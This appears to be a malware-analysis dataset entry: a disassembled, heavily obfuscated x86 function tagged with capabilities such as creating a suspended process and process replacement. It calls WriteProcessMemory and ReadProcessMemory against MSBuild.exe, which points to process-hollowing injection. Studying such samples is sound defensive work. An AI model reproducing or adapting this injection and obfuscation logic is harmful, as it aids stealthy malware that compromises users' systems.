Function at 0x100060d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10098600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0x25369222
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x80c61ad5
je 0x1000c610
jmp 0x1000610c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8166af0c
je 0x1000c70c
jmp 0x10006122
mov eax, dword [ebp - 0x10c]
sub eax, 0x819518bf
je 0x1000d7c4
jmp 0x10006138
mov eax, dword [ebp - 0x10c]
sub eax, 0x8253c232
je 0x1000c08c
jmp 0x1000614e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8296fc96
je 0x1000a14a
jmp 0x10006164
mov eax, dword [ebp - 0x10c]
sub eax, 0x832d47d3
je 0x1000cba0
jmp 0x1000617a
mov eax, dword [ebp - 0x10c]
sub eax, 0x83798615
je 0x1000c3ce
jmp 0x10006190
mov eax, dword [ebp - 0x10c]
sub eax, 0x848ec80f
je 0x1000945e
jmp 0x100061a6
mov eax, dword [ebp - 0x10c]
sub eax, 0x84e025bb
je 0x1000c63e
jmp 0x100061bc
mov eax, dword [ebp - 0x10c]
sub eax, 0x85a4f988
je 0x1000d395
jmp 0x100061d2
mov eax, dword [ebp - 0x10c]
sub eax, 0x85ab533a
je 0x1000d290
jmp 0x100061e8
mov eax, dword [ebp - 0x10c]
sub eax, 0x86531851
je 0x1000c4f9
jmp 0x100061fe
mov eax, dword [ebp - 0x10c]
sub eax, 0x867a447a
je 0x10009ea9
jmp 0x10006214
mov eax, dword [ebp - 0x10c]
sub eax, 0x87b6b8b5
je 0x1000d386
jmp 0x1000622a
mov eax, dword [ebp - 0x10c]
sub eax, 0x89fc3eb3
je 0x1000cd6b
jmp 0x10006240
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a002b22
je 0x1000d9c9
jmp 0x10006256
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a1bd3e0
je 0x1000d84d
jmp 0x1000626c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a1f661d
je 0x1000d926
jmp 0x10006282
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a7bef59
je 0x10009cb4
jmp 0x10006298
mov eax, dword [ebp - 0x10c]
sub eax, 0x8aafe9a9
je 0x1000d5c4
jmp 0x100062ae
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b4f5927
je 0x1000dade
jmp 0x100062c4
mov eax, dword [ebp - 0x10c]
sub eax, 0x8cf1a87e
je 0x100092ba
jmp 0x100062da
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d1b9b87
je 0x1000ca31
jmp 0x100062f0
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e77c894
je 0x1000aade
jmp 0x10006306
mov eax, dword [ebp - 0x10c]
sub eax, 0x8efdd100
je 0x1000baa6
jmp 0x1000631c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f189f04
je 0x1000ac1f
jmp 0x10006332
mov eax, dword [ebp - 0x10c]
sub eax, 0x8fb53454
je 0x1000c5b0
jmp 0x10006348
mov eax, dword [ebp - 0x10c]
sub eax, 0x8fd411fe
je 0x1000a551
jmp 0x1000635e
mov eax, dword [ebp - 0x10c]
sub eax, 0x90489537
je 0x1000bd62
jmp 0x10006374
mov eax, dword [ebp - 0x10c]
sub eax, 0x90f3c929
je 0x100090b6
jmp 0x1000638a
mov eax, dword [ebp - 0x10c]
sub eax, 0x9153d176
je 0x10008b21
jmp 0x100063a0
mov eax, dword [ebp - 0x10c]
sub eax, 0x91d0cb9e
je 0x1000b14e
jmp 0x100063b6
mov eax, dword [ebp - 0x10c]
sub eax, 0x935cccb3
je 0x1000dbe6
jmp 0x100063cc
mov eax, dword [ebp - 0x10c]
sub eax, 0x93c84bf2
je 0x1000a21b
jmp 0x100063e2
mov eax, dword [ebp - 0x10c]
sub eax, 0x9404b9a3
je 0x1000cb23
jmp 0x100063f8
mov eax, dword [ebp - 0x10c]
sub eax, 0x94082007
je 0x10008bef
jmp 0x1000640e
mov eax, dword [ebp - 0x10c]
sub eax, 0x94554cd9
je 0x1000ac68
jmp 0x10006424
mov eax, dword [ebp - 0x10c]
sub eax, 0x9476dd65
je 0x1000917f
jmp 0x1000643a
mov eax, dword [ebp - 0x10c]
sub eax, 0x94d8fef2
je 0x1000b7ac
jmp 0x10006450
mov eax, dword [ebp - 0x10c]
sub eax, 0x954b2f5b
je 0x100092c9
jmp 0x10006466
mov eax, dword [ebp - 0x10c]
sub eax, 0x962aa3ce
je 0x10009a67
jmp 0x1000647c
mov eax, dword [ebp - 0x10c]
sub eax, 0x970f1188
je 0x1000a42b
jmp 0x10006492
mov eax, dword [ebp - 0x10c]
sub eax, 0x97d7a1d2
je 0x1000d2f0
jmp 0x100064a8
mov eax, dword [ebp - 0x10c]
sub eax, 0x99f75721
je 0x1000bf50
jmp 0x100064be
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a258129
je 0x100089fe
jmp 0x100064d4
mov eax, dword [ebp - 0x10c]
sub eax, 0x9abd1fa2
je 0x10009c57
jmp 0x100064ea
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ac67044
je 0x1000c42e
jmp 0x10006500
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ad43fd7
je 0x10009e8c
jmp 0x10006516
mov eax, dword [ebp - 0x10c]
sub eax, 0x9bfb93c7
je 0x1000b829
jmp 0x1000652c
mov eax, dword [ebp - 0x10c]
sub eax, 0x9df89264
je 0x10008974
jmp 0x10006542
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e13edec
je 0x1000c4be
jmp 0x10006558
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ef676a5
je 0x1000b56a
jmp 0x1000656e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0c987b3
je 0x1000b26c
jmp 0x10006584
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0d20e25
je 0x1000d945
jmp 0x1000659a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa19ab3fe
je 0x1000906b
jmp 0x100065b0
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1a93ec0
je 0x1000a790
jmp 0x100065c6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa2ddb0f6
je 0x1000bcec
jmp 0x100065dc
mov eax, dword [ebp - 0x10c]
sub eax, 0xa30ba413
je 0x1000a1c0
jmp 0x100065f2
mov eax, dword [ebp - 0x10c]
sub eax, 0xa336562a
je 0x1000b48b
jmp 0x10006608
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3559965
je 0x1000c744
jmp 0x1000661e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa36c8e11
je 0x1000bb60
jmp 0x10006634
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3c59419
je 0x1000da8a
jmp 0x1000664a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3f6643b
je 0x1000ae80
jmp 0x10006660
mov eax, dword [ebp - 0x10c]
sub eax, 0xa42a6803
je 0x1000abd4
jmp 0x10006676
mov eax, dword [ebp - 0x10c]
sub eax, 0xa44be917
je 0x1000b01a
movss xmm0, dword [0x1001b398]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x108], 0x5d190610
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xdbff354b
jmp 0x1000dcf3
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe515cf52
mov ecx, 0x4dc5e6c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
add edx, 0xef43d706
sub edx, 1
sub edx, 0xef43d706
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4de12e3b
mov ecx, 0xe5a10b87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xab128d15
jmp 0x1000dcf3
movss xmm0, dword [0x1001b360]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x108], 0x79951951
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xf56a45b9
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x954b2f5b
jmp 0x1000dcf3
mov dl, 1
mov eax, 0xb43ad003
mov ecx, 0x702a8fac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
mov edx, eax
add edx, 0xdc7317cb
sub edx, 1
sub edx, 0xdc7317cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d213622
mov ecx, 0x7ac7c0d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dl, 1
mov eax, 0xc995f19c
mov ecx, 0xcb6d477a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
movss xmm0, dword [0x1001b314]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x108], 0xf493b270
jmp 0x1000dcf3
mov dl, 1
mov eax, 0x3d7ae922
mov ecx, 0x28b38bad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dl, 1
mov eax, 0x145fe0ad
mov ecx, 0x867a447a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
movss xmm0, dword [0x1001b2f0]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x1001b2ec]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x108], 0xb80766da
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
add edx, 0xe6329045
sub edx, 1
sub edx, 0xe6329045
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb13d7f50
mov ecx, 0xa30ba413
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dl, 1
mov eax, 0x93c84bf2
mov ecx, 0x551dd37c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
movss xmm0, dword [0x1001b2cc]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x108], 0x41e293d1
jmp 0x1000dcf3
movss xmm0, dword [0x1001b1d0]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001b1cc]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8a1bd3e0
mov ecx, 0x6b979f95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
movss xmm0, dword [0x1001b2b0]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x1001b2ac]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0xa6f7117c
jmp 0x1000dcf3
mov dl, 1
mov eax, 0xcc1b38ee
mov ecx, 0xc05f2b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
sub edx, 0x770f3752
sub edx, 1
add edx, 0x770f3752
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24b74eca
mov ecx, 0xa65d842d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x1b0e0bfb
jmp 0x1000dcf3
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a1f661d
mov ecx, 0x94554cd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
movss xmm0, dword [0x1001b1b4]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
mov edx, eax
add edx, 0x33335c46
sub edx, 1
sub edx, 0x33335c46
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a1f661d
mov ecx, 0x4b65ba07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dl, 1
mov eax, 0x247468f0
mov ecx, 0xe0b6287c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x2676c232
jmp 0x1000dcf3
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001b1a0]
movss dword [eax], xmm0
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
add edx, 0x3081c607
sub edx, 1
sub edx, 0x3081c607
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a002b22
mov ecx, 0x4966b1f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dl, 1
mov eax, 0x223b509e
mov ecx, 0x6a7411b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001b230]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xde271d53
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xa6269052
jmp 0x1000dcf3
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x76600
call fcn.10001020
add esp, 8
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
mov edx, eax
sub edx, 0xa3a04eda
sub edx, 1
add edx, 0xa3a04eda
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bdf8c12
mov ecx, 0xb4a766f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0x84]
cmp dword [eax + 0xd0], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xcc]
mov byte [eax], cl
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov dl, byte [eax]
mov eax, 0x31078553
mov ecx, 0x3e2a12ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x76e3d495
mov ecx, 0xb68bf794
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
add edx, 0x48c66013
sub edx, 1
sub edx, 0x48c66013
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xefd0254a
mov ecx, 0x90489537
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
sub edx, 0xcd103bea
sub edx, 1
add edx, 0xcd103bea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xefd0254a
mov ecx, 0x6a689098
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x595c0dfb
jmp 0x1000dcf3
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
add ecx, 0x68dc83d3
add ecx, 0x18
sub ecx, 0x68dc83d3
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x7bf467ca
add ecx, eax
sub ecx, 0x7bf467ca
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov dword [ebp - 0x108], 0xd433efbc
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xafc40fcd
jmp 0x1000dcf3
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x59], al
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
mov edx, eax
sub edx, 0x33baff72
sub edx, 1
add edx, 0x33baff72
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11bd2170
mov ecx, 0xc656e5a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa8]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x108], 0x86531851
jmp 0x1000dcf3
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x54]
sub eax, 0x633a6606
sub eax, ecx
add eax, 0x633a6606
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x51e578ba
jmp 0x1000dcf3
mov eax, dword [0x10099928]
mov ecx, dword [0x10099924]
mov edx, eax
add edx, 0xdb556cc2
sub edx, 1
sub edx, 0xdb556cc2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaccd1e9c
mov ecx, 0xbca187f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
add ecx, 0xe7c8774d
add ecx, 1
sub ecx, 0xe7c8774d
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x84e025bb
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6868fa1f
mov ecx, 0x786379ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x108], 0x78e3cf8f
jmp 0x1000dcf3
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x108], 0x62b4693e
jmp 0x1000dcf3
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov eax, 0xf2e9ed6
mov ecx, 0xcc88fada
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x7122e224
jmp 0x1000dcf3
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x34]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xef48d8ba
or eax, edx
or ecx, 0xef48d8ba
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x2d], al
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
sub edx, 0xd54200b0
sub edx, 1
add edx, 0xd54200b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x935cccb3
mov ecx, 0xe29f6614
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0x21ebef47
or edx, ecx
or eax, 0x21ebef47
xor edx, 0xffffffff
and edx, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xcf9d33eb
mov ecx, 0x34b40397
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0xb521564
jmp 0x1000dcf3
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
add edx, 0xfda0bb55
sub edx, 1
sub edx, 0xfda0bb55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7d15889a
mov ecx, 0x87b6b8b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x85a4f988
jmp 0x1000dcf3
mov ecx, dword [0x10099928]
mov eax, dword [0x10099924]
mov edx, ecx
sub edx, 0x626c6e80
sub edx, 1
add edx, 0x626c6e80
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30724577
mov ecx, 0x3ec8b9c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000dcf3
mov dword [ebp - 0x108], 0x659eba55
jmp 0x1000dcf3
movss xmm0, dword [0x1001b1d8]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x108], 0xb4f5af8f
jmp 0x1000dcf3
movss xmm0, dword [0x1001b1d0]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001b1cc]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x108], 0x970f1188
jmp 0x1000dcf3
movss xmm0, dword [0x1001b1b4]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0x94554cd9
jmp 0x1000dcf3
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001b1b0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xb5bfa0d1
jmp 0x1000dcf3
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001b1a0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa0c987b3
jmp 0x1000dcf3
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
